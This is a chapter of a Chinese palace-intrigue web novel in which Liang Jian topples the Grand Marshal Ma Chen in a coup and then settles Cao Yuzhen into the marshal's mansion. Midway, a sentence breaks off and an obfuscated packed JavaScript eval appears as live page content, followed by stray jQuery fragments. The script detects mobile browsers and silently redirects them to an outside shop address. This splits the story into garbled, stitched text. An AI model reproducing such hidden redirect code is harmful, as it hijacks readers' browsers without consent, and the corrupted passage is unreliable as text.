马澄见一时难近赵恩,索性将一旁小皇帝的手捏着,挟持道:“圣上,赵恩胆敢借郊祀之机,谋杀大臣,若使其常伴君侧,久则必乱天下,圣上需立刻诏令禁卫,诛杀宦竖!”

    说着将捏着的手,又使力重了两分。小皇帝疼的脸都扭曲了,颤颤巍巍道:“大司马,作主便是!”

    马澄此举看似是借皇帝之口下旨诛除异党,实则是将其控制在自己身侧。一旦有什么不测,他便和赵恩来个鱼死网破。

    皇帝虽没了实权,但毕竟还是名义上的天子。赵恩不敢一点都不顾及,何况这次来的还有各州的使节,若是今天的事传至天下,那各州郡的军阀们怕是一个个都要欣喜地借清君侧的名义,入京保驾了。

    马澄高举手中象征着指挥的长剑,大喊道:“武士们,随我剪除奸党,以保宗庙!”

    话毕,外禁卫的军士们一阵暴乱,正当要冲杀上方丘时,从他们的外围也涌进来一群侍卫,乃是禁省的少卫。

    自己与赵恩的人马相当,大不了来个鱼死网破。可看着涌至北郊的人越来越多,他面色一沉,立马意识到有人叛变。

    “何人叛我?!”

    嘶吼间,一柄飞刀直直地刺向马澄举剑的肩臂上,将他手中的剑击落了下来。

    马澄捂着吃痛地手臂,向后倒退了半米。但手却仍旧死死地抓着小皇帝不肯放,他知道这是他的唯一救命稻草。

    此时站立在曹毓贞身后的梁检,渐渐浮在众人的视线中。马澄瞪大了双眼看着他,半晌才想起来是齐州助祀使节杨铮身侧的那个仆从,曾要闯入自家内宅的那位。

    “是你?”

    一旁的赵恩笑道:“梁使君,正君讨贼,便在今朝。”

    这话一出,马澄吃惊地看着眼前人。

    “梁使君?莫非你是………梁检?是你!”

    梁检转身,举起手中皇城外禁卫的虎符道:“奸贼马澄已然受伏,再敢有负隅顽抗者,就地诛杀,夷灭三族!”

    一时间外禁卫的军士们一个个停了下来,那马澄起得怒吼道:“我看谁人敢投降!我早已休书命人去乾州请援兵.....”

    他话还没说完,只见一对兵士开道,叶礼带着一对亲兵登上了方丘。曹毓贞见来人是叶礼,一双凤目圆睁,脑子一片空白,看着那个方才还站立在自己身后的梁检,已然立在台前,操控着他想要的一切!

    “拜见主公!”

    梁检点头示意,叶礼退过一旁,朝台下拍了拍手,一个亲卫小跑上来,将一串已经血迹干涸的人头摔在了地上,正是从马府派出的六个去乾州报信的人。

    马澄看着地上的人头,绝望地闭上了眼。梁检弯下腰,凑到他耳边道:“代寇城中想要借乾州之手除了我,可惜曹荣却没你想象地那么听话。”

    马澄听罢,气血上涌剧烈地咳了起来,稍缓片刻后,他抬眼道:“苞儿,也是死于你手?”

    梁检浅浅一笑,走向曹毓贞,拉着尚在呆愣之中她,走到马澄面前,道:“他辱我夫人,你说该不该死?”

    曹毓贞看着马澄投来的目光中,夹杂着怀疑、惊恐等难以言表的表情,难为情地低下了头,像是个做错事的孩子,怕被大人识破。

    明修栈道,暗度陈仓。只要出手够快,的确可以惑敌一时。

    “曹小姐,你可知你今日之举,虽帮了夫家,却害了娘家。乾州却要毁于你手......哈哈哈哈......”

    曹毓贞面色一沉,道:“你说什么?”

    正要上前问个明白,被梁检一把拽住,吩咐一旁的手下道:“拉下去,绞死!”

    “毁于你手.......”

    曹毓贞眼睁睁看着马澄被拉了下去,他隐晦含糊的话语回荡在北郊的各个角落。

    曹毓贞从被梁检握着里抽开了手,梁检侧头看了看她,没有言语。也可以说他暂时没有时间顾忌到她的情绪,赶忙走到小皇帝面前,叩拜道:“臣梁检参见陛下,护驾迟疑,让陛下受惊了!”

    “梁卿,平身!”小皇帝的话语低迷,但语气平静地可怕,早已不似方才马澄手中那个惊慌失措的傀儡模样。

    此时,只见赵恩上前躬身伏拜,道:“陛下容禀,马澄沐三朝皇恩,不思图报,反怀篡逆日久。下臣本欲禀奏陛下,迎齐州牧梁检入京护驾,但一则马澄掌皇城兵马,稍则妄动,恐伤及我主。二则他勾连外州,若一旦兵发,京畿将陷浩劫。故而下臣私自行事,望吾皇赐罪。”

    小皇帝赶忙扶起赵恩,惶恐道:“仲父,切莫如此。”

    外禁卫已然被梁检与赵恩的两队人马所控制,如要保下他们,皇帝必须要有个态度。反正马澄已死,就算不死,就他平日里的做派,也不值得皇帝亲自求情保他性命。

    想到这里,小皇帝站在了方丘的最前方,对众人道:“马澄深负朕恩,今又借郊祀大典,妄图谋逆弑君。幸得外卿保驾,现已伏诛,尔等速速缴械,或免本罪。”

    说完只见外禁侍卫们一个个丢下器械,束手受降。一场由赵、梁挑起的政变,就在这短短的半日内,即便消弭于无形。

    而马澄死后,由赵恩上表,大司马之职毫无疑虑的便落在了梁检头上。

    曹毓贞心里想着,或许在出齐州的时候,梁检便把这一步步地谋划都计算在内。什么遣使助祭、恭奉正朔都是鬼话,别说瞒了天下,就是齐州诸将也未必有几个知道内情的。

    回到馆驿,曹毓贞心里有说不出的愤恨,她也不知道怎么回事,就是没来由得一股气堵在胸口。是气梁检利用她,可贴身的蝉翅甲却实实在在穿在身上。是因为马澄的那番话,而让她间接地害了母家,可自己到现在还不知就里。

    曹毓贞甚至给自己找了个借口,原本就是阿兄先对不起人家的,梁检反击也是常理。

    一时间,脑中如同一团无思绪的乱麻,塞得难受。她也不顾什么,背起行囊就要离开这是非之地。

    “夫人,主公说了外界太乱,您最好别出去。”迎面被陶平给拦了下来。

    “软禁?!”

    陶平弯腰抱拳,道:“不敢?”

    曹毓贞没有理会,接着往外面走。

    此时却从门外跑进来一队兵士,将馆驿围住,一时吓得馆驿啬夫与两个小厮面如土色。

    他们或许知道发生了什么事,却不敢往大里想。

    打头进来的人,正是叶礼。

    “不想死的就乖乖待着,瞎跑什么?”

    曹毓贞知道叶礼这话是在变相地保护她,不让出去。暴风雨就要来了。就如同

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750405|209408||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    齐州抄家拿人那样,铲除异己的戏码,又要在京城上演了?

    这次,梁检不愿让她看了,自然要等打扫干净了,再迎曹毓贞出去。

    曹毓贞被限制在馆驿整整十日,再见天日时,看着京城的街市上平静的样子,似乎什么也没发生过一样。

    曹毓贞被陶平等亲卫一路护送到了大司马府邸,新管家领着一群侍婢们早在府门外迎接。

    待曹毓贞从马车上探出头,赶忙有两个婢子上来搀扶着她下了马车。

    “恭迎夫人入府。”

    梁检的动作真够快的,短短三天不仅将马府打扫了个干干净净,连府门院墙都修葺粉刷了一遍。

    还有正门西南角那个狗洞,曹毓贞经过时特地侧头看了下,竟然被封地找不到一丝痕迹。

    她笑了笑,梁检一个大男人,怎么比自己还在乎这些小节。

    这大司马府邸原本还分东西两侧,目下也不分了,只是一下子换了主人,后宅女眷除了侍婢们,也就只有曹毓贞一人,显得尤为空荡冷清。

    那婢子将曹毓贞领到了栽橘院,这院子早已没了前些天她心中的神秘及紧张。

    她踏进书房的那一刻,想起那天要不是梁检来的及时,她就要被……

    想到这里,曹毓贞心有余悸地往回缩了缩脚。

    忽然,身后被人用双臂环住了腰。梁检低声,带着一点催人欲眠的磁性声音,问道:“为什么不进去?”

    “我……想到那天晚上,我有些后怕……”

    “没事,有我。”梁检牵着她的手,带着她进了屋。

    这屋里的陈设还和原来那样,一样都没动,包括那张睡榻。

    梁检牵着她在睡榻上坐了下来,近身刚想一亲芳泽,被曹毓贞格挡了一下,轻轻推搡道:“要死,青天白日的,谁有这心思。”

    梁检喘着粗气,右手已探入她的裙摆内,上下游走:“我有……”

    “别闹,我有事要问你……”曹毓贞被他引诱地差点招架不住,但仍保持着清醒,硬生生地将自己和他再次隔开。

    梁检无奈,只得收起兴致盯着她。

    曹毓贞不知该如何开口,她试探道:“马澄说的可是真的?”

    见梁检似乎没有反应过来,她小心翼翼地提醒道:“乾州是我曹家的根基所在,你即便恨我哥哥,如今仇也报了,代、商二城也夺过来了,能不能瞧我薄面,别再与乾州为敌了。”

    梁检听后,从原先一脸肃然,慢慢地笑逐颜开,轻扶着曹毓贞的头道:“傻瓜,那是马澄陌路计穷时说出的离间话,还能让你记到现在。”

    “可……”

    梁检挡住了她接下来的问话,道:“我还想让你修书令兄,做个和事佬呢!两州总不能老那么僵着,别忘了,我可是你们乾州的上门姑爷。”

    曹毓贞眼睛一亮,道:“真的?”

    梁检宠溺的看着她,点了点头。

    “主公?”门外突然响起亲卫的禀告。

    “何事?”

    “圣上诏见。”

    梁检看了看曹毓贞,凑近她的耳畔,温热的气息吹地脖子痒痒的,轻声道:“我尽量赶在掌灯前回来。”

    一句话羞得曹毓贞满面潮红,赶忙推了推他,示意他赶紧去。